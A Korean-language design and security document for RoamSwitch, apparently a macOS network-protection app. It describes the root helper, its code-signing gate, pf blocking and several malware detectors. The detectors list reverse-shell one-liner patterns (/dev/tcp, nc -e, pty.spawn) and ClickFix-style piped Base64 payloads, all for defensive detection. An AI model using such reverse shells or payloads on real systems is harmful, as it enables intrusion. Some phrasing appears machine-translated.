§1
RoamSwitch는 Mac용 메뉴바 앱입니다. 네트워크를 얼마나 신뢰하느냐에 따라
현재 연결되어 있으면 macOS 방화벽, 공유 서비스, AirDrop을 자동으로 전환합니다.
그리고 DNS. 또한 ARP 스푸핑, 외부로 열린 포트, USB 저장 장치 등을 감시합니다.
랜섬웨어와 유사한 암호화 활동을 수행하며 위험한 것을 감지하면
패킷 필터(pf)로 트래픽을 차단합니다. 즉 비상 에어갭입니다.
즉, RoamSwitch는 루트 권한이 있는 데몬을 설치하고 원할 경우 모든 것을 중지할 수 있습니다. Mac의 네트워크 트래픽. 그것은 한 사람에 의해 만들어지며, "저를 믿어주세요"만으로는 충분하지 않습니다. 그 특권을 정당화하십시오. 그래서 대신 이 문서는 여러분이 확인할 수 있는 형태로 디자인을 설명합니다.
이것은 누구를 위한 것인가
- 설치 여부를 결정하는 엔지니어
- 리뷰나 기사를 쓰기 전에 내부를 이해하고 싶은 보안 연구자 및 언론인
- 내부 출시 또는 OEM 번들링을 평가하는 파트너 회사의 보안 직원
이 문서에서 다루지 않는 내용
감지 임계값 조정, 가양성 통계 또는 UI 둘러보기에는 포함되지 않습니다.
설명하는 내용은 권한, 프로세스 경계, 데이터 흐름 및
암호화. 기능 사양 자체는 번들로 제공되는 MCP 리소스에 있습니다.
roamswitch://docs/features 및 인앱 도움말.
공개 대상, 어디까지 공개(공개정책)
본 문서는 공격자가 이미 배포된 바이너리를 보유하고 있다는 가정 하에 작성되었습니다.
여기에 표시되는 모든 엔드포인트 URL, 식별자, 파일 경로, XPC 프로토콜 및 내장된 공개 키
몇 분 안에 배송 RoamSwitch.app에서 꺼낼 수 있습니다.
strings, codesign -d 또는 트래픽 프록시. 그러므로 여기에 적어 두세요
공격자에게 새로운 것은 아무것도 주지 않습니다. 그것이 발전하는 유일한 것은 리뷰어의 이해입니다.
반면에 바이너리에서 볼 수 없는 서버측 구현 — 속도 제한 임계값, 키, 관리 엔드포인트, DB 스키마, Firebase 프로젝트 레이아웃은 포함되지 않습니다. OEM 및 파트너 통합 설계도 여기의 범위를 벗어나며 별도의 섹션에서 다룹니다. 내부 문서. "고객을 관찰함으로써 배울 수 있는 것"은 이에 대한 공개 라인입니다. 문서.
이 문서는 상단에 표시된 버전의 소스에 해당합니다. 행동이 바뀌는 곳
이후 버전에서는 문서가 수정되고 버전 번호와 대상 빌드가 업데이트됩니다.
텍스트와 코드가 일치하지 않는 경우 다음 주소로 알려주시기 바랍니다.
lafine.net/contact.html.
§2
RoamSwitch.app은 세 개의 실행 파일로 구성됩니다. 그 중 하나만 특권이 있습니다. 는
다른 두 개는 로그인 사용자 권한으로 실행됩니다. 세 가지 모두 강화된 런타임이 활성화되어 있으며 개발자 ID가 제공됩니다.
서명하고 공증했습니다.
| 실행 가능 | 특권 | 할 수 있다 | 할 수 없다 |
|---|---|---|---|
| RoamSwitch .app |
로그인 사용자 | 네트워크 상태 모니터링, 진단 실행, UI 그리기, XPC를 통해 도우미 호출, defaults을 통해 AirDrop 변경, ClamAV 실행(선택 사항) |
방화벽, pf 또는 시스템 데몬을 직접 운영합니다. (이 모든 작업은 헬퍼를 통해 이루어집니다.) |
| RoamSwitch 도우미 |
루트 | HelperProtocol(§3 표)에 나열된 작업만: 방화벽/스텔스, 공유 데몬 로드/언로드, pf 규칙 세트 적용, DNS 변경, 프로세스에 신호 보내기 |
다른 것. 임의의 명령을 실행하기 위한 인터페이스가 없습니다. 네트워크 전송 권한도 없습니다. |
| RoamSwitch MCP서버 |
로그인 사용자 | 진단 값을 읽고 형식을 지정하고, 로컬 지식 기반을 검색합니다. 결과는 stdio를 통해 클라이언트로 반환됩니다. | 설정 변경, 잠금 전환, 포트 격리, 장치 꺼내기 등의 작업을 수행할 수 있습니다. 소켓이 열리지 않습니다. 네트워크를 통해 아무것도 보내지 않습니다. |
권리 및 서명
- 세 대상 모두
ENABLE_HARDENED_RUNTIME = true을(를) 갖습니다. - 앱 샌드박스가 비활성화되었습니다(
com.apple.security.app-sandbox = false). 도우미와 MCPServer의 자격은 빈 사전입니다. - 배포 빌드는 개발자 ID 애플리케이션 서명, Apple 공증 및 스테이플링됩니다(§10).
앱 샌드박스는 사용되지 않습니다. RoamSwitch는 IOKit에서 하드웨어 UUID를 읽고 CoreWLAN을 사용해야 하며
DiskArbitration, 다른 프로세스의 청취 소켓(lsof) 열거, XPC 열기
LaunchDaemon에 연결하고 시스템 바이너리를 생성합니다. 이 중 어느 것도 내부에서는 불가능합니다.
샌드박스이므로 비활성화된 상태로 유지됩니다.
네 가지가 이를 보상해줍니다. 첫째, 강화된 런타임입니다. 둘째, 개발자 ID 서명 및 공증. 셋째, 단 하나의 실행 파일(도우미)만 루트로 실행되며 해당 도우미가 수행할 수 있는 작업 고정되어 열거되어 있습니다(§3 표). 넷째, 도우미에 대한 연결은 코드로 제한됩니다. 서명(§3).
§3
등록방법
도우미는 SMAppService.daemon(plistName:)을 사용하여 LaunchDaemon으로 등록됩니다. 는
앱에 삽입된 plist
(Contents/Library/LaunchDaemons/com.tetsuharu.RoamSwitch.Helper.plist)만 선언합니다.
Label, BundleProgram, 단일 MachServices 항목 및
AssociatedBundleIdentifiers. SMAppService의 작동 방식으로 인해
앱이 /Applications에 있지 않으면 등록도 불가능합니다. 첫 번째
등록하면 사용자가 시스템에서 직접 승인할 때까지 도우미가 활성화되지 않습니다.
설정.
누구의 연결을 수락합니까(ClientValidator)
도우미는 NSXPCListener의 연결 프로세스를 검사합니다.
shouldAcceptNewConnection을 그리고 HelperProtocol를 다음 사람에게만 나눠줍니다.
통과. 검사에서는 PID 대신 audit_token를 사용하여
PID 재사용 및 TOCTOU를 피하십시오.
# Release 빌드가 접속하는 클라이언트에 요구하는 코드 서명 요건
identifier "com.tetsuharu.RoamSwitch"
and anchor apple generic
and certificate leaf[subject.OU] = "GV76B6G4YU"
이 요구 사항은 SecCodeCopyGuestWithAttributes으로 확인되며
SecStaticCodeCheckValidity, 통과하지 못하면 연결이 끊어집니다. 만
DEBUG 빌드는 개발 편의를 위해 팀 ID 핀을 삭제합니다. 실제로 배송되는 것은 항상
릴리스 빌드.
도우미의 안전은 이 단일 코드 서명 요구 사항에 달려 있습니다. 그것을 만족시키는 모든 것(a
적절하게 서명된 RoamSwitch.app)은 아래 표의 모든 작업을 호출할 수 있습니다. 있다
임의의 명령을 제공할 수 있는 채널은 없지만 해당 테이블의 작업은 다음과 같이 약하지 않습니다.
스스로. RoamSwitch.app 자체가 인수되면 이러한 작업은
공격자.
도우미가 할 수 있는 작업(전체 목록)
Shared/HelperProtocol.swift에 정의된 권한 있는 작업이 모두 해당됩니다.
여기에 나열되지 않은 권한 있는 API는 없습니다.
| 방법 | 기능 | 바이너리/API 호출 |
|---|---|---|
| setBlockAll(_:) | 애플리케이션 방화벽 및 스텔스 모드를 켜거나 끕니다. | /usr/libexec/ApplicationFirewall/ --setblockall / --setstealthmode |
| getBlockAllStatus(...) | 위의 현재 값을 읽습니다. | 소켓필터fw --getblockall |
| setSharingServicesEnabled(_:) | SSH/SMB/화면 공유 데몬을 언로드/로드합니다. 정지시에는 "실행중인 것"만을 기록하고 그 것만을 복원합니다 | /bin/launchctl list / unload -w / load -w (세 가지로 고정: ssh.plist / com.apple.smbd.plist / com.apple.screensharing.plist) |
| 활성화NetworkAirGap(...) disableNetworkAirGap(...) |
비상 전체 블록(block drop all)을 적용하고 해제합니다. PFRulesetCoordinator을 통과합니다(§4). |
/sbin/pfctl -f / -e / -sr |
| setGuardedDevServerPorts(_:) | pf를 사용하여 지정된 개발 서버 포트(localhost가 통과)에 대한 external 연결만 차단합니다. 빈 배열을 전달하면 모두 해제됩니다. | /sbin/pfctl (코디네이터를 통해서도 가능) |
| setSecureDNSServers(_:) restoreOriginalDNSServers(...) getCurrentDNSServers(...) |
활성 네트워크 서비스의 DNS를 맬웨어 차단 DNS(Quad9 9.9.9.9 / Cloudflare 1.1.1.2)로 전환하여 원래 설정을 백업하고 복원합니다. |
/usr/sbin/networksetup -listallnetworkservices / -getdnsservers / -setdnsservers |
| setLinkGuard싱크홀(_:) | 링크 가드(§5). 지정된 피싱/사기 도메인을 /etc/hosts의 구분된 관리 섹션에 0.0.0.0로 쓴 다음 DNS 캐시를 플러시합니다. 빈 배열은 섹션을 제거합니다. 도메인은 정규화되고 중복이 제거됩니다. IP와 정크는 삭제됩니다. 최대 60,000명; 임시 파일 + 원자 교체를 통해 작성됨 |
/etc/hosts (FileManager.replaceItemAt)/usr/bin/dscacheutil -flushcache /usr/bin/killall -HUP mDNSResponder를 다시 작성합니다. |
| lockGatewayARP(_:) unlockGatewayARP(...) getGatewayARPLockStatus(...) |
예방 게이트웨이 ARP/NDP 잠금(§5). 지정된 IP → MAC 매핑(IPv4 게이트웨이, IPv6 기본 라우터, 온링크 DNS 확인자)을 permanent 이웃 캐시 항목으로 고정합니다. IP 및 MAC 형식이 검증되었습니다. 조정 모델(요청에 없는 핀은 제거됨) 핀 세트는 gateway_arp_lock.json에 유지됩니다. |
/usr/sbin/arp -s / -d /usr/sbin/ndp -s / -d |
| wireGuardImport(_:) wireGuardForget(...) |
VPN 터널(§5). 도우미는 0600에서 WireGuard .conf 텍스트를 저장/삭제합니다. |
파일 쓰기 전용 |
| wireGuardUp(endpointIPv4:endpointIPv6:포트:) wireGuardDown(...) wireGuardStatus(...) |
터널 업/다운/읽기 상태를 가져옵니다. 엔드포인트 호스트 이름은 app에 의해 확인되고 IP는 도우미에게 전달됩니다(도우미의 DNS는 킬 스위치로 차단될 수 있음). | 홈브루 wg-quick up/down, wg show (wireguard-tools; 설치되지 않은 경우 비활성화됨) |
| 종료프로세스(pid:forceKill:) | 프로세스를 일시중단(SIGSTOP)하거나 강제 종료(SIGKILL)합니다. 랜섬웨어와 유사한 프로세스를 포함하는 데 사용됩니다. pid > 1만 |
kill(2) 시스템 호출(하위 프로세스 아님) |
| getHelper버전(...) | 도우미의 버전 문자열을 반환합니다(앱 호환성 확인에 사용됨) | — |
terminateProcess은(는) SIGKILL을(를) 모든 프로세스에 보낼 수 있습니다.
pid > 1. setSecureDNSServers은 모든 DNS 서버 문자열을 허용합니다. 즉
기능에 필요한 너비이지만 좁지는 않습니다. 이라는 점을 이해하고 판단하세요.
앞에 있는 코드 서명 확인(ClientValidator)이 유일한 게이트입니다.
도우미 내부 상태
HelperTool.shared은 여러 연결에서 공유되는 단일 인스턴스입니다. 예전에는 연결당 별도의 인스턴스였기 때문에 새로운 연결을 여는 긴급 봉쇄로 인해 "어떤 서비스를 다시 가져올지" 추적하지 못하는 경쟁이 발생할 수 있었습니다.- 공유 서비스 및 DNS 백업은 직렬 대기열(
stateQueue)에서만 변경됩니다.
§4
4가지 기능 터치: 비상 에어 갭, 개발 서버 포트 가드, VPN 터널
WireGuard 킬 스위치(§5, 1.7.6+) 및 Tailscale 킬 스위치(§5, 1.8.0+ — 선택한 백엔드에만 해당). 다들 항상 가는데
단일 진입점 PFRulesetCoordinator을 통해 실행되지 않음
pfctl -f 자신.
단일 진입점이 있는 이유
이전에는 두 기능이 각각 독립적으로 pfctl -f 규칙을 로드하여 경쟁했습니다.
pf의 단일 기본 규칙 세트에 대해. 항만 경비대의 좁은 규칙 block ... port {…}이
에어 갭의 block drop all 이후에 로드되면 화면이 꺼지는 상태가 될 수 있습니다.
"격리"라고 말했지만 Mac은 여전히 연결 가능했습니다. 이 버그는 실제 공격을 통해 발견되었습니다.
다른 호스트의 컴퓨터이며 1.4.3에서 수정되었습니다(이야기는
docs/marketing/zenn/03_lan_side_attack_test.md).
현재 작동 방식
- 매번 완전히 다시 작성됩니다. 전체 필수 규칙 세트가 현재 상태에서 다시 작성되어 한 번에 적용됩니다. 결코 diff로 적용되지 않습니다.
- 하나의 직렬 대기열. 모든 pf 변경은 동일한
DispatchQueue에서 실행되므로 XPC 연결, 도우미의 시작 또는 비상 안전 타이머에서 발생했는지 여부에 관계없이 변경 사항이 순서대로 처리됩니다. - 우선순위는 다음과 같습니다(위에 있는 항목이 우선됩니다).
- 비상 공극 →
set skip on lo0및block drop all(다른 것은 고려되지 않음) - VPN 킬 스위치 →
block drop all+pass quick:lo, 터널 인터페이스(utunN), 고정된 엔드포인트 IP에 대한 UDP 핸드셰이크, DHCP 및 ICMP - 개발-서버 가드 →
block drop in quick proto tcp ... port { … } - 없음 →
/etc/pf.conf을 다시 로드하고 pf를 원래 상태로 되돌립니다.
- 비상 공극 →
- 적용 후 다시 읽습니다.
pfctl -sr은 규칙을 다시 읽어block drop all또는 각 포트의 규칙이 실제로 로드되었는지 확인합니다.pfctl -f이 조용히 무시된 경우는 성공으로 처리되지 않습니다. - 임시 파일은
UUID을 포함하는 경로에 기록되고 적용되면 삭제됩니다(v1.4.5에서는 추측하기 어려운 경로를 위해 고정 경로를 삭제했습니다). 상태 디렉터리는/Library/Application Support/RoamSwitch입니다.
enableNetworkAirGap 및 setGuardedDevServerPorts의 XPC 응답,
(Bool, String?), 작업이 끝까지 통과했는지 보고합니다.
다시 읽기. 호출자(예: ARPSpoofContainmentManager)는 실패 시 재시도합니다.
여전히 실패하면 화면에 다음 메시지가 바로 표시됩니다. "교통이 아직 중지되지 않았습니다. 끄세요.
지금은 Wi-Fi를 사용하세요."
§5
블록의 종류가 각각 다릅니다.
| 종류 | 범위 | 트리거 | 루프백 |
|---|---|---|---|
| 비상 에어 갭 | 들어오고 나가는 모든 트래픽을 중지합니다. | 랜섬웨어와 유사한 암호화 활동이 감지된 경우. ARP 스푸핑 감지 시 잠금 상태에서만 즉시 실행되며, 균형 잡힌/신뢰할 수 있는 네트워크에서는 알림만 표시됩니다(사용자가 수동으로 실행). curl 등으로 가져온 내용을 Base64 디코딩해 셸/AppleScript에 직접 전달하는 등 "ClickFix" 유형의 알려진 의심스러운 명령 패턴을 셸 히스토리에서 감지한 경우(1.8.7~, Pro, 기본적으로 꺼짐). 평소 외출 중 보호에는 사용되지 않습니다 |
set skip on lo0로 전달됨 |
| VPN 킬 스위치 | 터널, 핸드셰이크, DHCP 및 ICMP를 제외한 모든 것 | VPN 터널(§5, Pro, 기본적으로 꺼짐)이 켜져 있고 신뢰할 수 없는 네트워크에 연결되는 경우. 터널이 구축될 때까지(및 터널이 다운되는 동안) 유지됩니다. | set skip on lo0로 전달됨 |
| 개발-서버 포트 가드 | 지정된 포트에 대한 external TCP 연결만 | 원클릭 수동 격리 또는 익숙하지 않은 수신 포트가 감지되면 자동 차단(Pro) | localhost에서 변경되지 않음 |
| 일상적인 신뢰할 수 없는 네트워크 보호 | 방화벽 및 스텔스, 공유가 중지되었습니다(§6). pf는 사용되지 않습니다 | 등록되지 않은 네트워크에 연결하는 경우 | — |
| 링크 가드 | 피싱/사기 도메인(/etc/hosts을 통한 0.0.0.0)의 이름 확인만 가능합니다. pf는 사용되지 않습니다 |
위협 피드의 대상 또는 브랜드 이름 동형어입니다. 기본적으로 켜져 있음(Pro) | 영향을 받지 않음 |
| 예방적 ARP/NDP 잠금 | 게이트웨이의 MAC, IPv6 라우터 및 온링크 DNS(이웃 캐시)만 해당됩니다. pf는 사용되지 않습니다 | 신뢰할 수 없는 네트워크에 연결할 때(Pro, 기본적으로 꺼져 있음) 모든 네트워크 변경 시 다시 고정됨 | 영향을 받지 않음 |
에어 갭이 오래 지속되지 않는 방법
- 최대 10분 후에는 반드시 해제됩니다. 도우미 자체도 시작 직후와 60초 주기 타이머로
releaseAirGapIfExpired()을 실행하지만, 그와는 완전히 독립된 안전망으로서KeepAlive를 전혀 가지지 않는 전용 LaunchDaemon(AirGapFailsafe)이 3분마다 단독으로 깨어나 동일한 판정과 해제를 수행합니다. 도우미 자체가 크래시하여 자체 해제 타이머까지 함께 사라지더라도 이 안전망은 영향을 받지 않습니다(1.8.6~). - 이 전용 데몬은 도우미 본체의 상주 설정에는 전혀 손대지 않습니다. 이전(1.8.5)에는 도우미 자체의
KeepAlive.PathState로 이 복구를 구현했지만, 일반적인 앱 종료 조작과 드물게 충돌하여 의도치 않게 재시작되는 결함이 있어 이를 철회하고 현재의 완전히 독립된 데몬 방식으로 대체했습니다. - 타임스탬프 판정은 단조 증가 시간(
ProcessInfo.systemUptime)과 벽시계를 결합한 하이브리드 방식입니다. 평소에는 단조 증가 시간을 우선하므로 NTP 보정이나 수동 시각 변경의 영향을 받지 않습니다. 재부팅 직후라 단조 증가 시간을 신뢰할 수 없는 경우(저장된 값보다 현재 값이 작아 재부팅으로 판단되는 경우)에만 벽시계로 폴백합니다. - 재부팅 또는 데몬이 다시 생성된 후에 다시 적용됩니다. 시작 시 도우미는
reapplyFromDisk()을 사용하여 디스크 상의 상태를 읽고 에어 갭, 포트 가드, 시스템 기본값 순서로 자체적으로 복원합니다(여기에서도 10분 규칙이 적용됩니다). - A 실패한 리프트는 실패로 처리됩니다.
block drop all을 실제로 제거할 수 없는 경우 안전 장치 타이머와 재시도가 수렴할 수 있도록 타임스탬프가 다시 기록됩니다. 화면에는 "리프트됨"이 잘못 표시되지 않습니다. - 모달의 리프트 버튼을 사용하거나 Wi-Fi를 끄는 것만으로 언제든지 제어권을 되돌릴 수 있습니다.
포트 가드 오탐이 복구되는 방법
알 수 없는 포트 자동 차단(Pro, Pro가 활성화되면 기본적으로 켜짐)은 합법적인 포트를 중지할 수 있습니다.
LAN 수신기 — LocalSend, Syncthing, 가드가 활성화된 후 시작된 모든 것. 그럴 때
이 경우 알림 배너의 "허용" 버튼이나 해당 행에서 허용하세요.
"노출된 포트" 화면. 한 번 허용된 실행 파일은 알려진 것으로 기록되고 차단되지 않습니다.
다시 (PortAnomalyGuard.allowPort(_:)). 일반 스크립트 인터프리터에 유의하세요.
(Python, Node.js, Netcat 등)은 바이너리가 아닌 path:port로 엄격하게 범위가 지정됩니다.
외계 생명체 공격을 방지하기 위해 단독으로 사용합니다. 만족하는 Apple 시스템 데몬
anchor apple(Handoff 등을 지원하는 rapportd)는 그렇지 않습니다.
우선적으로 시청했습니다.
자가 치유 랜섬웨어 카나리아 미끼 및 억제 억제
카나리아 미끼 파일이 변조되거나 이름이 변경되어 긴급 공극이 발생하면 보안을 확인한 후 격리하면 누락되거나 손상된 카나리아 파일이 자동으로 재생성됩니다. 내장된 템플릿에서 생성된 실제 기준 해시로 돌아가 중단 없는 kqueue 감시를 즉시 복원합니다(적의 기준 오염 방지). 또한, 활성 봉쇄 중(비상 모달이 표시되는 동안), 중복 알림 경고 및 주기적인 배경 무결성 폴링의 재트리거 이벤트는 사고 대응 중에 사용자의 주의를 산만하게 하지 않도록 자동으로 억제됩니다.
다운로드 파일의 다층 탐지(정적 시그니처 + ClamAV) — 1.8.7에서 정적 시그니처 계층 추가
다운로드, 데스크탑, 문서 폴더에 새로 배치된 파일은 먼저 StaticSignatureScanner에 의한 가벼운 정적 시그니처 대조를 거칩니다(첫 4MB만 대상으로 하며, AND/OR 패턴의 단순한 바이트열 일치만 사용하고 정규표현식이나 엔트로피 계산은 하지 않습니다). EndpointSecurity entitlement를 사용하지 않으므로 ClamAV가 설치되지 않은 환경에서도 동작합니다. 탐지 대상은 실제 악성코드 샘플 없이도 정확성을 보장할 수 있는 범위——업계 표준 EICAR 테스트 서명과, 공개된 공격 기법 문서(PayloadsAllTheThings 등)에 실린 정통적인 리버스 셸 한 줄 명령 5종(bash/sh의 /dev/tcp/, nc -e, Python의 pty.spawn, Perl의 Socket, PHP의 fsockopen)——으로 의도적으로 한정했습니다. 특정 악성코드 계열 고유의 바이트열을 실제 샘플 없이 "시그니처"로 작성하지는 않습니다(검증할 수 없는 거짓 안전감만 줄 뿐이기 때문입니다). 패턴 자체는 XOR 0x5A로 난독화하여 보관하며, RoamSwitch 자신의 바이너리가 EICAR 문자열 등을 평문으로 포함해 ClamAV에 의해 오탐되는 것을 방지합니다.
정적 시그니처 계층에서 "클린"으로 판정된 파일만 이어서 ClamAV 스캔 대상이 됩니다. 다운로드, 데스크탑, 문서 폴더에 새로 배치된 파일은 .tmp 확장자나 com.apple.quarantine 속성 유무(터미널을 통한 복사 등)와 관계없이 즉시 ClamAV 스캔 대상이 됩니다. EICAR 등 업계 표준 테스트 서명은 "무해함"으로 취급하여 알림을 표시하지 않고 알림 기록에만 남기며, 격리·차단하지 않습니다(실제 악성코드 샘플만 격리 대상). 또한 격리 폴더(Quarantine)에 이전에 격리된 동일한 이름의 파일이 이미 존재하더라도, 타임스탬프가 붙은 고유한 이름으로 격리 폴더에 확실히 이동시켜 위협이 원래 위치에 남는 격리 누락을 완전히 방지합니다.
새로운 자동 실행 등록(LaunchAgent/LaunchDaemon) 모니터링 — 1.8.7
~/Library/LaunchAgents, /Library/LaunchAgents, /Library/LaunchDaemons에 새로 생성되는 .plist 파일을 FSEvents로 실시간 감지합니다(PersistenceMonitorGuard). EndpointSecurity의 ES_EVENT_TYPE_AUTH_CREATE를 사용하지 않으므로 쓰기 작업 자체를 막을 수는 없습니다. 할 수 있는 것은 쓰기가 이루어진 직후(수 초 이내)에 이를 알아차리고 내용을 판정하는 것입니다.
판정의 핵심은 "실행 파일 자체의 서명"이 아니라 "무엇을 직접 실행하려 하는가"입니다. 2026년에 보고된 실제 수법(Google Update로 위장한 LaunchAgent 안에 Base64로 인코딩된 bash 스크립트를 숨기는 방식, root의 LaunchDaemon이 부팅할 때마다 Base64로 인코딩된 AppleScript 페이로드를 다시 실행하는 방식 등)은 모두 악성 코드를 스크립트 자체에 담아두고, 정당하게 서명된 /bin/bash나 /usr/bin/osascript를 그대로 호출합니다. 실행 파일의 서명만 검사하는 방식으로는 이런 수법을 걸러내지 못합니다. 그래서 새로 등록된 LaunchAgent/LaunchDaemon이 원시 스크립트 인터프리터(bash, sh, zsh, osascript, python3, perl, ruby, php 등)를 직접 실행하는 경우, 그 인터프리터 자체의 서명이 정당하더라도 무조건 경고합니다. 전달된 인자는 추가로 StaticSignatureScanner의 판정도 거치며, 알려진 의심스러운 패턴이 포함되어 있으면 알림에 포함시킵니다. BundleProgram(RoamSwitch 자체의 도우미 등 앱 번들 내 서명된 컴파일 바이너리를 가리키는 형식)으로 등록된 항목은 평소처럼 codesign --verify --strict에 의한 서명 검증만 수행합니다.
ClickFix 탐지 및 긴급 차단 — 1.8.7, 기본적으로 꺼짐
"ClickFix"는 가짜 CAPTCHA나 오류 화면이 "확인을 위해 Terminal을 열고 이 명령을 붙여넣으세요"라고 안내해 사용자 자신에게 명령을 실행하게 만드는 사회공학적 공격 기법입니다. 2024~2025년 사이 탐지 건수가 500% 이상 증가했으며, 2026년 현재 macOS에서 가장 널리 퍼진 공격 경로 중 하나로 꼽힙니다. 실행하는 것은 사용자 자신의 정상적인 셸 조작이므로 Gatekeeper의 서명 검증을 완전히 우회합니다.
메뉴 바 → "악성코드 방지" → ClickFix 방지(Pro, 기본적으로 꺼짐). ~/.zsh_history, ~/.bash_history에 대한 추가 기록을 FSEvents로 모니터링하며(가드 시작 후 새로 추가된 줄만 대상으로 하고 기존 히스토리는 거슬러 올라가지 않습니다), StaticSignatureScanner와 공유하는 리버스 셸 한 줄 명령, 그리고 Base64 디코딩한 내용을 셸이나 osascript에 직접 파이프하는 복합 패턴만 탐지합니다. 정상적인 설치 프로그램에서 매우 흔히 쓰이는 curl | bash 단독 사용은 Homebrew, rustup, nvm 등의 공식 설치 절차와 구분할 수 없으므로 의도적으로 탐지 대상에서 제외했습니다. 탐지되는 순간 기존의 긴급 Air-Gap(본 절 참조)이 발동됩니다. 명령은 이미 실행된 뒤이므로 사후 대응이 되지만, 다단계 페이로드의 추가 다운로드나 인증 정보의 외부 전송이 진행 중이라면 이를 차단할 수 있습니다. 다른 Air-Gap 발동 요인과 마찬가지로 최대 10분 후 자동으로 해제됩니다(본 절 서두 참조).
알려진 한계. 탐지는 셸 히스토리에 기록이 남는 것을 전제로 하므로, Terminal을 거치지 않고 applescript:// URL 스킴으로 Script Editor를 직접 호출해 페이로드를 디스크에 전혀 기록하지 않는 파일리스 변종에는 대응할 수 없습니다. 이런 유형의 변종에 대해 Apple도 일정한 완화책(미확인 스크립트에 대한 승인 대화상자)을 도입했지만, 이를 우회하는 변종도 보고되고 있습니다. 실제 기기에서 macOS의 통합 로그(log show/log stream)를 이용해 이 경로를 검증했지만, 판정에 사용할 수 있는 고유한 로그 신호는 발견하지 못했습니다. 대응하지 못하는 부분을 대응한 것처럼 표시하기보다, 이 한계를 명확히 밝히는 쪽을 선택했습니다.
Docker 위험 감지 가드 — 1.8.9, Pro·기본 꺼짐
메뉴 막대 → '멀웨어 방지' → 'Docker 특권 컨테이너·docker.sock 마운트 감지'(DockerEventGuard). 이 코드베이스에는 docker events와 같은 지속적인 스트리밍 연결의 선례가 없기 때문에, PortAnomalyGuard와 동일한 타이머 폴링 방식을 사용합니다. 20초마다 가벼운 docker ps -q로 컨테이너 ID 집합을 가져온 뒤, 이전과의 차이(신규 시작분)에 대해서만 docker inspect --format으로 상세 확인합니다. 판정에 사용하는 서식 문자열은 Linux 버전의 roamswitch_core::health::LinuxHealthChecker::DOCKER_INSPECT_RISK_FORMAT과 의도적으로 동일하게 맞춰, 두 플랫폼에서 완전히 동일한 조건(--privileged 실행, 또는 /var/run/docker.sock 바인드 마운트)을 감지합니다.
감지해도 자동으로 차단하지 않습니다. 특권 컨테이너나 docker.sock 마운트는 컨테이너 탈출로 이어질 수 있는 위험한 '설정'이지만, 확인된 침해는 아니기 때문입니다(모니터링 에이전트를 의도적으로 privileged로 실행하는 등 정당한 용도도 있습니다). 대부분의 사용자가 Docker를 사용하지 않으므로 Pro 라이선스에서도 기본값은 꺼짐(OFF)으로 유지됩니다. EndpointSecurity entitlement는 사용하지 않으며, docker CLI는 Docker Desktop의 기본 설치 위치·Homebrew·which 순으로 탐색합니다. 실제 Docker Desktop(29.7.2)에서 privileged 컨테이너·docker.sock 마운트 컨테이너·일반 컨테이너의 3가지 패턴을 검증하여 오탐·누락이 없음을 확인했습니다.
기밀 정보・API 키 유출 감사 — 1.8.4에서 추가, 1.8.9에서 폴더 스캔 지원
메뉴 막대 → '멀웨어 방지' → '기밀 정보·API 키 유출 감사'. 텍스트를 붙여넣으면 그 자리에서 API 키와 토큰 유출 패턴을 감지하여 줄 번호·마스킹된 문자열·유형별 권장 대응을 표시합니다(SecretLeakAuditor, 완전 로컬 처리). 1.8.9에서는 '폴더를 선택하여 스캔'을 추가하여, 동일한 감지 엔진으로 디렉터리(소스 코드 체크아웃 위치 등)를 재귀적으로 감사할 수 있게 되었습니다(auditDirectory(at:)). .git·node_modules·target·vendor·dist·build·__pycache__·venv는 자동으로 제외되며, 2MB를 초과하는 파일이나 바이너리로 판정된 파일도 건너뜁니다. 처리는 메인 스레드를 차단하지 않도록 별도 스레드에서 실행되며, 외부로의 전송은 전혀 발생하지 않습니다.
Link Guard(피싱 연결 차단) — 1.7.2 이상, 1.8.0에서 강화
메뉴 표시줄 → "맬웨어 방지" → "링크 가드"(Pro). 모든 브라우저와 앱에서 기기 내 피싱/사기 사이트에 대한 연결을 차단합니다. 두 개의 적용 지점이 있으며 우선순위에 따라 함께 사용됩니다.
- ① 콘텐츠 필터 시스템 확장(
RoamSwitchLinkFilter, 1.8.0+, 승인되면 선호).NEFilterDataProvider시스템 확장 — Apple 검토 없음(콘텐츠 필터 제공업체는 셀프 서비스이며 승인 대기열이 없음). 실제 아웃바운드 TCP 흐름 after 이름 확인을 검사합니다. 대상 이름은 OS에서 확인된 호스트 이름에서 나오거나 흐름의 첫 번째 바이트에서 구문 분석된 TLS SNI에 실패하므로 자체 DoH/DoT를 수행하고 베어 IP에 연결하는 브라우저는 여전히 차단됩니다./etc/hosts을 다시 작성하지 않으며 각 흐름을 프로세스에 귀속시킵니다. QUIC(UDP/443)에는 읽을 수 있는 SNI가 없으므로block모드에서는 삭제되어 브라우저가 TCP를 통해 HTTP/2로 대체됩니다. 시스템 설정에서 일회성 승인이 필요합니다. - ②
/etc/hosts싱크홀(대체, 확장이 승인되지 않거나 거부되는 동안). 권한 있는 도우미는 대상 도메인을/etc/hosts의 구분된 관리 섹션에0.0.0.0로 쓰고 캐시를 플러시합니다. 60,000으로 제한됩니다. 확장이 활성화되면 이 섹션이 제거됩니다. - 세 가지 모드. "끄기"를 선택하면 비활성화됩니다. "경고만" 일시 중지하고 사용자에게 묻습니다(아래 실제
warn참조). "명백한 사기 사이트 자동 차단(권장)"이 즉시 삭제됩니다. 1.7.2.부터 기본값은 블록입니다. - 실제
warn(1.8.0+, 확장만 해당).warn에서 시스템 확장을 누르면 은.pause()로 흐름(OS 이름 및 SNI 경로 모두)을 유지하고 앱은 "허용/차단" 알림을 발생시킵니다. 사용자의 탭이allowlist.txt/extra.txt에 도달하는 순간 — 확장 프로그램은 1.5초마다 작은 상태 파일을 폴링하며, 보류된 흐름이 재개(허용)되거나 삭제(차단)됩니다. 25초 내에 응답이 없으면 open 실패합니다(경고는 권고사항임). 결정은 호스트별로 캐시되므로(5분 허용/1시간 차단) 페이지의 다른 흐름과 이후 방문이 즉시 적용됩니다.block알림은 변경되지 않았습니다. "한 번 허용(5분)" 버튼이 있는 "차단됨..."입니다. - 명확한 사례만 차단됩니다. 위협 피드의 목록 또는 브랜드 이름 유니코드 동형어 등 기타 모든 것(고위험 TLD, 하위 도메인 가장 등)은 경고입니다. 판정 엔진은 Linux 버전과 공유되며 URL을 아무데도 보내지 않습니다.
- 잘못된 차단에서 복구 중입니다. 알림 또는 메뉴에서 도메인을 허용합니다(5분 또는 영구). 섹션이 다시 생성되면 허용 목록이 제외됩니다.
- Pro-gated. 시행(
